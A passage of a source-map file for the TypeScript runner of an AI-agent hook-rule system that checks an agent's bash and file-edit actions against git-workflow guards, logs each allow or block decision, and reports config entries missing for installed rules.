tree's branch and cache.\n if (tree.kind === 'foreign') {\n logGuardDecision(workspaceRoot, new GuardDecision('-', 'Bash', command, branchForLog(workspaceRoot), 'ALLOW', 'foreign git repo (out of scope)'));\n return null;\n }\n\n // Honour excludePaths on the bash path too (not just Read/Edit): a command whose effective\n // cwd sits under an excluded tree (e.g. repositories/**) drops the whole guard set — matching how\n // runInternal/runRead treat file paths. The relative path is '' when there is no `cd` (root), which\n // matches no exclusion glob, so a plain command at the repo root is unaffected.\n const rules = filterByExcludedPaths(\n filterByMode(loadRules(loaded.rulesConfig, workspaceRoot), mode),\n path.relative(workspaceRoot, tree.effectiveCwd),\n loaded.excludePaths,\n );\n if (rules.length === 0) return null;\n\n const outOfSync = checkConfigSync(rules, loaded.rulesConfig);\n if (outOfSync) return outOfSync;\n\n const subdirBlock = gitFromSubdirBlock(command, tree);\n if (subdirBlock) return subdirBlock;\n\n // Keep the feature-branch-guard cache warm on EVERY command (not just Write/Edit): the AI runs\n // far more bash than edits, so refreshing here means the guard's next file-edit check reads a\n // fresh status. Detached + fire-and-forget — never blocks the command. Only when the guard is\n // loaded (guards/all mode) and enabled, so a project that opted out never triggers git fetches.\n // Keyed on the JUDGED tree, so a worktree's cache is refreshed rather than the primary clone's.\n maybeRefreshMainSync(rules, tree.root);\n\n const ctx = buildBashContext(command, tree);\n const groups = runBashRules(rules, ctx);\n if (groups.length === 0) {\n // Record the ALLOW only for git/gh commands — the operations the bash guards actually reason\n // about (branch create, commit, push, merge, PR). Skipping ls/cat/grep keeps the audit log\n // focused (the whole point of the log is \"why did/didn't a guard fire?\"). Blocks are always\n // logged below.\n if (/\\b(?:git|gh)\\b/.test(command)) {\n logGuardDecision(tree.root, new GuardDecision('-', 'Bash', command, branchForLog(tree.root), 'ALLOW', 'no bash-guard block'));\n }\n return null;\n }\n\n const ruleNames = groups.map((g: RuleGroup): string => g.ruleName).join(',');\n logGuardDecision(tree.root, new GuardDecision(ruleNames, 'Bash', command, branchForLog(tree.root), 'BLOCK', 'bash-guard block'));\n const report = formatReport(commandLabel(command), groups, BASH_SUBJECT) + exemptTreesHint(groups, loaded.excludePaths.paths);\n return new BlockedResult(report);\n}\n\n// The bash report's subject line. It used to be the literal string `<bash>`, which told the agent\n// nothing; the command itself is what was blocked, so name it — truncated, because a heredoc-bearing\n// command can run to thousands of characters and the violation lines already carry the detail.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction commandLabel(command: string): string {\n const oneLine = command.replace(/\\s+/g, ' ').trim();\n const MAX = 100;\n return oneLine.length <= MAX ? oneLine : oneLine.slice(0, MAX) + '…';\n}\n\n// When a push/PR block fires AND the config exempts vendored/nested trees, surface the escape hatch the\n// AI cannot otherwise discover: git/gh run UNGUARDED inside those trees if it cd's there first (each is\n// governed by its own repo, not this one). Scoped to pr-creation-or-push-guard — for the other guards\n// \"cd into an exempt tree\" is not the remedy — and emitted only when such trees are actually configured,\n// so a repo without exemptions never sees the noise.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction exemptTreesHint(groups: readonly RuleGroup[], exemptGuards: readonly string[]): string {\n if (exemptGuards.length === 0) return '';\n if (!groups.some((g: RuleGroup): boolean => g.ruleName === 'pr-creation-or-push-guard')) return '';\n return `\\n\\nℹ️ Working in a nested repo under one of these exempt trees? cd into it first and run git/gh `\n + `normally there — the webpieces guards do NOT govern them (each is its own repo): ${exemptGuards.join(', ')}.`;\n}\n\n// The set of rule names explicitly present in webpieces.config.json (every key except rulesDir).\nfunction configuredRuleNames(config: WebpiecesRulesConfig): ReadonlySet<string> {\n return new Set(Object.keys(config).filter((k: string) => k !== 'rulesDir'));\n}\n\nfunction checkConfigSync(rules: readonly Rule[], config: WebpiecesRulesConfig): BlockedResult | null {\n const configured = configuredRuleNames(config);\n const unconfiguredRules = rules.filter((r: Rule) => !configured.has(r.name));\n if (unconfiguredRules.length === 0) return null;\n\n // ONE action, no menu, no escalation — the config-validation invariant (GUARD_MATRIX.md): every\n // config problem cures to \"make the file right\", and editing it is never denied. This message used\n // to tell the agent to interview the human about each rule; agents did not do it, so the block just\n // stalled. Each rule now ships a paste-ready entry at its recommended mode.\n //\n // Note this is the CONFIG-BEHIND-CODE direction. The opposite one — the config names a rule the\n // installed validator has no schema for — is unknownRuleError() in rules-config/validate-config.ts\n // and surfaces in the validation banner, not here.\n const lines = [\n // Fault Y's header lives in ./l0-matrix beside the rest of the L0 fault table (same reason as\n // CONFIG_MISSING_REPORT: one place states what this fault is and what cures it).\n CONFIG_OUT_OF_SYNC_HEADER,\n '',\n `Add an entry for each rule below to ${CONFIG_FILENAME}. Editing that file is ALWAYS allowed through`,\n 'the guard — including right now, while this block is up — so paste the entries and retry.',\n '',\n 'Each entry below is ready to paste at its recommended mode; adjust the option values if your',\n 'project needs different ones.',\n '',\n `Do NOT delete a rule from ${CONFIG_FILENAME} to silence it — an entry is REQUIRED for every rule,`,\n 'and \"mode\": \"OFF\" is how a rule is turned off.',\n '',\n ];\n\n for (const rule of unconfiguredRules) {\n lines.push(`--- ${rule.name} ---`);\n lines.push(`Description: ${rule.description}`);\n const opts = rule.defaultOptions;\n const optKeys = Object.keys(opts);\n if (optKeys.length > 0) {\n lines.push(`Available options (suggested defaults shown):`);\n for (const key of optKeys) {\n lines.push(` ${key}: ${JSON.stringify(opts[key])}`);\n }\n } else {\n lines.push('Available options: none beyond mode');\n }\n // The SAME entry the installer would seed: recommended mode, both hatches, and every other\n // schema-required field — so pasting it satisfies the loader in one pass.\n lines.push(`Entry to add to ${CONFIG_FILENAME}:`);\n lines.push(` \"${rule.name}\": ${JSON.stringify(seedEntryForRule(rule.name))}`);\n lines.push('');\n }\n\n return new BlockedResult(lines.join('\\n'));\n}\n\n// N-legs pattern: each rule runs independently so one rule can never abort the others. A rule may\n// EITHER return Violation[] OR throw — both accumulate here into visible violations the AI sees:\n// - a thrown RuleFailError → an expected, well-formed violation (its line/snippet/fixHints kept);\n// - a thrown plain Error → a \"crashed\" violation (a bug, surfaced not swallowed).\nexport function runRuleCheck(rule: Rule, ctx: EditContext | FileContext | BashContext): readonly Violation[] {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return rule.check(ctx);\n } catch (err: unknown) {\n const error = toError(err);\n if (error instanceof RuleFailError) {\n return [violationFromRuleFail(error)];\n }\n return [new Violation(0, '', `Rule '${rule.name}' crashed: ${error.message}`)];\n }\n}\n\n// A thrown RuleFailError carries its own AI-facing message + optional location and fix hints. Fold the\n// fix hints into the message because Violation has no fixHint field (RuleGroup's fixHint comes from the\n// rule definition, not a per-throw value).\nfunction violationFromRuleFail(error: RuleFailError): Violation {\n const hints = error.fixHints.length > 0 ? `\\n Fix: ${error.fixHints.join('\\n Fix: ')}` : '';\n return new Violation(error.line ?? 0, error.snippet ?? '', error.aiMessage + hints);\n}\n\nfunction ruleMatchesFile(rule: Rule, relativePath: string): boolean {\n for (const pattern of rule.files) {\n if (globMatches(pattern, relativePath)) return true;\n }\n return false;\n}\n\nfunction runBashRules(rules: readonly Rule[], bashContext: BashContext): readonly RuleGroup[] {\n const groups: RuleGroup[] = [];\n for (const rule of rules) {\n if (rule.scope !== 'bash') continue;\n if (!rule.shouldRun()) continue;\n const vs = runRuleCheck(rule, bashContext);\n if (vs.length > 0) {\n groups.push(new RuleGroup(\n rule.name, rule.description, rule.fixHint, [...vs],\n ));\n }\n }\n return groups;\n}\n\nfunction runEditRules(rules: readonly Rule[], editContexts: readonly EditContext[]): readonly RuleGroup[] {\n const groups: RuleGroup[] = [];\n for (const rule of rules) {\n if (rule.scope !== 'edit') continue;\n if (!rule.shouldRun()) continue;\n const allViolations: Violation[] = [];\n for (const ctx of editContexts) {\n if (!ruleMatchesFile(rule, ctx.relativePath)) continue;\n const vs = runRuleCheck(rule, ctx);\n for (const v of vs) {\n const copy = new Violation(v.line, v.snippet, v.message);\n copy.editIndex = ctx.editIndex;\n copy.editCount = ctx.editCount;\n allViolations.push(copy);\n }\n }\n if (allViolations.length > 0) {\n groups.push(new RuleGroup(\n rule.name, rule.description, rule.fixHint, allViolations,\n ));\n }\n }\n return groups;\n}\n\nfunction runFileRules(rules: readonly Rule[], fileContext: FileContext): readonly RuleGroup[] {\n const groups: RuleGroup[] = [];\n for (const rule of rules) {\n if (rule.scope !== 'file') continue;\n if (!rule.shouldRun()) continue;\n if (!ruleMatchesFile(rule, fileContext.relativePath)) continue;\n const vs = runRuleCheck(rule, fileContext);\n if (vs.length > 0) {\n groups.push(new RuleGroup(\n rule.name, rule.description, rule.fixHint, [...vs],\n ));\n }\n }\n return groups;\n}\n"]}
1
+ {"version":3,"file":"runner.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/core/runner.ts"],"names":[],"mappings":"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